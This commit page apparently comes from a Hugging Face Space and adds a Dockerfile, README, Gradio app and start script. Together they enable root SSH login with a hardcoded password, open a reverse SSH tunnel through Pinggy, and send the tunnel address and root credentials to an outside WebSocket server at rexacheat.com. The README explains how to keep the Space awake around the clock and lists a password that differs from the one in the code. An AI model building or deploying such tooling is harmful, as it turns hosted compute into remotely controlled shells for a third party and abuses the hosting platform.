swefse commited on
Commit
a27e103
Β·
verified Β·
1 Parent(s): 5159476

Upload 5 files

Browse files
Files changed (5) hide show
  1. Dockerfile +37 -0
  2. README.md +80 -4
  3. app.py +174 -0
  4. requirements.txt +3 -0
  5. start.sh +13 -0
Dockerfile ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM python:3.10-slim
2
+
3
+ WORKDIR /app
4
+
5
+ # System dependencies + SSH server
6
+ RUN apt-get update && apt-get install -y \
7
+ curl \
8
+ wget \
9
+ openssh-client \
10
+ openssh-server \
11
+ procps \
12
+ sudo \
13
+ && rm -rf /var/lib/apt/lists/* \
14
+ && mkdir -p /var/run/sshd \
15
+ && echo 'root:Venom123!' | chpasswd \
16
+ && sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config \
17
+ && sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config \
18
+ && sed -i 's/UsePAM yes/UsePAM no/' /etc/ssh/sshd_config \
19
+ && echo 'PermitEmptyPasswords no' >> /etc/ssh/sshd_config \
20
+ && echo 'ChallengeResponseAuthentication no' >> /etc/ssh/sshd_config
21
+
22
+ # Python requirements
23
+ COPY requirements.txt .
24
+ RUN pip install --no-cache-dir -r requirements.txt
25
+
26
+ # Copy app
27
+ COPY app.py .
28
+
29
+ # Expose ports
30
+ EXPOSE 7860 22
31
+
32
+ # Start script
33
+ COPY start.sh /app/start.sh
34
+ RUN chmod +x /app/start.sh
35
+
36
+ # Run
37
+ CMD ["/app/start.sh"]
README.md CHANGED
@@ -1,10 +1,86 @@
1
  ---
2
- title: Wawa
3
- emoji: 🐠
4
  colorFrom: blue
5
- colorTo: blue
6
  sdk: docker
7
  pinned: false
8
  ---
9
 
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
  ---
2
+ title: SSH Tunnel Service
3
+ emoji: πŸš€
4
  colorFrom: blue
5
+ colorTo: purple
6
  sdk: docker
7
  pinned: false
8
  ---
9
 
10
+ # 🌐 SSH Tunnel Service - Hugging Face Space
11
+
12
+ 24/7 SSH tunnel service using Pinggy with automatic WebSocket registration.
13
+
14
+ ## Features
15
+ - βœ… Persistent SSH tunnel via Pinggy
16
+ - βœ… Auto-reconnect on failure
17
+ - βœ… WebSocket registration to control server
18
+ - βœ… Real-time status monitoring
19
+ - βœ… 7/24 uptime (Hugging Face keeps Space alive)
20
+
21
+ ## Setup
22
+ 1. Create a new Space on Hugging Face
23
+ 2. Select "Docker" as SDK
24
+ 3. **IMPORTANT: Space must be PUBLIC** (Private spaces sleep after 48h)
25
+ 4. Upload these files:
26
+ - Dockerfile
27
+ - app.py
28
+ - requirements.txt
29
+ - README.md (this file)
30
+ 5. Space will auto-deploy
31
+
32
+ ### πŸ”₯ KEEP SPACE ALIVE 24/7 (Choose one):
33
+
34
+ **Option 1: Upgrade to Persistent Hardware (Recommended)**
35
+ - Go to Space Settings β†’ Hardware
36
+ - Select "CPU persistent" or higher ($0.60/day)
37
+ - Space NEVER sleeps, guaranteed 24/7 uptime
38
+
39
+ **Option 2: Free Tier + External Ping (No cost)**
40
+ - Space must be PUBLIC
41
+ - Add this cron job to ANY server:
42
+ ```bash
43
+ # Ping every 10 minutes to prevent sleep
44
+ */10 * * * * curl -s https://YOUR_USERNAME-SPACE_NAME.hf.space/ > /dev/null
45
+ ```
46
+ - Or use UptimeRobot (free): https://uptimerobot.com
47
+ - Add HTTP monitor
48
+ - URL: https://YOUR_USERNAME-SPACE_NAME.hf.space/
49
+ - Interval: 5 minutes
50
+
51
+ ## Usage
52
+ Once deployed, the Space will:
53
+ 1. Start SSH tunnel via Pinggy
54
+ 2. Extract tunnel URL
55
+ 3. Register to WebSocket server
56
+ 4. Keep tunnel alive 24/7
57
+
58
+ ## Connection
59
+ SSH credentials will be displayed in the Space UI and sent to your WebSocket server.
60
+
61
+ Default credentials:
62
+ - User: `root`
63
+ - Pass: `HuggingFace2024!`
64
+ - Host: Dynamically assigned by Pinggy
65
+
66
+ ## Architecture
67
+ - **Docker**: Custom environment with SSH client
68
+ - **Gradio**: Simple UI for status monitoring
69
+ - **Background Worker**: Maintains tunnel and registration
70
+ - **Auto-refresh**: UI updates every 30 seconds
71
+
72
+ ## Notes
73
+ - Free tier: 16GB RAM, 8 CPU (sleeps after 48h inactivity)
74
+ - Persistent tier: $0.60/day (NEVER sleeps)
75
+ - Space MUST be PUBLIC for free tier
76
+ - Auto-restarts on crash
77
+ - Tunnel refreshes every 30 minutes
78
+ - Private repos don't affect Space (Space itself must be public)
79
+
80
+ ## Deployment
81
+ ```bash
82
+ # Clone this repo to your Hugging Face Space
83
+ # Or manually upload files via web UI
84
+ ```
85
+
86
+ Developed for 24/7 SSH tunnel access via Hugging Face Spaces.
app.py ADDED
@@ -0,0 +1,174 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import gradio as gr
2
+ import asyncio
3
+ import websockets
4
+ import json
5
+ import subprocess
6
+ import time
7
+ import os
8
+ import re
9
+ from threading import Thread
10
+ from datetime import datetime
11
+ import aiohttp
12
+
13
+ # Global state
14
+ ssh_info = {"status": "Starting...", "link": None, "last_update": None, "uptime": 0}
15
+ start_time = time.time()
16
+
17
+ def run_command(cmd):
18
+ """Execute shell command and return output"""
19
+ try:
20
+ result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30)
21
+ return result.stdout + result.stderr
22
+ except Exception as e:
23
+ return f"Error: {str(e)}"
24
+
25
+ def setup_ssh_tunnel():
26
+ """Setup Pinggy SSH tunnel"""
27
+ global ssh_info
28
+
29
+ try:
30
+ # Ensure SSH server is running
31
+ ssh_status = run_command("ps aux | grep sshd | grep -v grep")
32
+ if not ssh_status:
33
+ ssh_info["status"] = "SSH server not running"
34
+ return None
35
+
36
+ # Kill existing Pinggy processes
37
+ run_command("pkill -f 'tcp@a.pinggy.io' || true")
38
+ time.sleep(2)
39
+
40
+ # Start Pinggy tunnel (background)
41
+ ssh_info["status"] = "Starting tunnel..."
42
+ subprocess.Popen(
43
+ "ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -p 443 -R0:localhost:22 tcp@a.pinggy.io > /tmp/pinggy.log 2>&1",
44
+ shell=True
45
+ )
46
+
47
+ # Wait for tunnel to establish
48
+ time.sleep(20)
49
+
50
+ # Extract link
51
+ log_content = run_command("cat /tmp/pinggy.log")
52
+ match = re.search(r'tcp://([0-9a-zA-Z\.\-]+:[0-9]+)', log_content)
53
+
54
+ if match:
55
+ link = match.group(1)
56
+ ssh_info["link"] = link
57
+ ssh_info["status"] = "Tunnel active"
58
+ ssh_info["last_update"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
59
+ return link
60
+ else:
61
+ ssh_info["status"] = "Failed to get link"
62
+ return None
63
+
64
+ except Exception as e:
65
+ ssh_info["status"] = f"Error: {str(e)}"
66
+ return None
67
+
68
+ async def register_to_websocket(ssh_link):
69
+ """Register SSH info to WebSocket server"""
70
+ if not ssh_link:
71
+ return False
72
+
73
+ try:
74
+ async with websockets.connect('wss://rexacheat.com/ws', ping_interval=30, ping_timeout=10) as ws:
75
+ payload = {
76
+ 'type': 'register',
77
+ 'role': 'vds_register',
78
+ 'ssh_info': f'SSH: {ssh_link}\nUser: root\nPass: Venom123!'
79
+ }
80
+ await ws.send(json.dumps(payload))
81
+ ssh_info["status"] = f"Registered: {ssh_link}"
82
+ return True
83
+ except Exception as e:
84
+ ssh_info["status"] = f"WebSocket error: {str(e)}"
85
+ return False
86
+
87
+ def background_worker():
88
+ """Background thread - keeps tunnel alive and registers"""
89
+ while True:
90
+ try:
91
+ # Setup tunnel
92
+ link = setup_ssh_tunnel()
93
+
94
+ if link:
95
+ # Register to WebSocket
96
+ asyncio.run(register_to_websocket(link))
97
+
98
+ # Keep alive for 30 minutes, then refresh
99
+ for _ in range(180): # 180 * 10s = 30min
100
+ time.sleep(10)
101
+ # Check if tunnel still alive
102
+ if "tcp@a.pinggy.io" not in run_command("ps aux"):
103
+ break
104
+ else:
105
+ # Failed, retry in 1 minute
106
+ time.sleep(60)
107
+
108
+ except Exception as e:
109
+ ssh_info["status"] = f"Worker error: {str(e)}"
110
+ time.sleep(60)
111
+
112
+ def get_status():
113
+ """Get current status for Gradio UI"""
114
+ uptime_seconds = int(time.time() - start_time)
115
+ uptime_hours = uptime_seconds // 3600
116
+ uptime_mins = (uptime_seconds % 3600) // 60
117
+
118
+ return f"""
119
+ ## πŸš€ Hugging Face SSH Tunnel Status
120
+
121
+ **Status:** {ssh_info['status']}
122
+ **SSH Link:** {ssh_info['link'] or 'Not available yet'}
123
+ **Last Update:** {ssh_info['last_update'] or 'Never'}
124
+ **Uptime:** {uptime_hours}h {uptime_mins}m
125
+
126
+ ### πŸ“ Connection Info
127
+ ```
128
+ Host: {ssh_info['link'] or 'waiting...'}
129
+ User: root
130
+ Pass: Venom123!
131
+ ```
132
+
133
+ ### ⚑ Features
134
+ - 24/7 SSH Tunnel via Pinggy
135
+ - Auto-reconnect on failure
136
+ - WebSocket registration to rexacheat.com
137
+ - Keep-alive mechanism
138
+
139
+ ### ⚠️ Important for 24/7 Uptime:
140
+ **Free Tier:** Space sleeps after 48h inactivity
141
+ - Solution 1: Upgrade to "CPU persistent" ($0.60/day)
142
+ - Solution 2: External ping every 10 min (UptimeRobot free)
143
+
144
+ **This Space MUST be PUBLIC** (Private spaces always sleep)
145
+
146
+ ---
147
+ *Auto-refresh every 30s*
148
+ """
149
+
150
+ # Start background worker
151
+ worker_thread = Thread(target=background_worker, daemon=True)
152
+ worker_thread.start()
153
+
154
+ # Gradio Interface
155
+ with gr.Blocks(title="SSH Tunnel Service") as demo:
156
+ gr.Markdown("# 🌐 Hugging Face SSH Tunnel Service")
157
+ gr.Markdown("*Automated SSH tunnel with 24/7 uptime*")
158
+
159
+ status_box = gr.Markdown(get_status())
160
+ refresh_btn = gr.Button("πŸ”„ Refresh Status", variant="primary")
161
+
162
+ # Auto-refresh every 30 seconds using Timer
163
+ timer = gr.Timer(value=30)
164
+ timer.tick(fn=get_status, outputs=status_box)
165
+
166
+ refresh_btn.click(fn=get_status, outputs=status_box)
167
+
168
+ if __name__ == "__main__":
169
+ demo.launch(
170
+ server_name="0.0.0.0",
171
+ server_port=7860,
172
+ theme=gr.themes.Soft(),
173
+ show_error=True
174
+ )
requirements.txt ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ gradio>=5.0.0
2
+ websockets==12.0
3
+ aiohttp==3.9.5
start.sh ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/bin/bash
2
+
3
+ # Start SSH server
4
+ echo "Starting SSH server..."
5
+ mkdir -p /var/run/sshd
6
+ /usr/sbin/sshd -D &
7
+
8
+ # Wait for SSH to start
9
+ sleep 3
10
+
11
+ # Start Gradio app
12
+ echo "Starting Gradio app..."
13
+ python app.py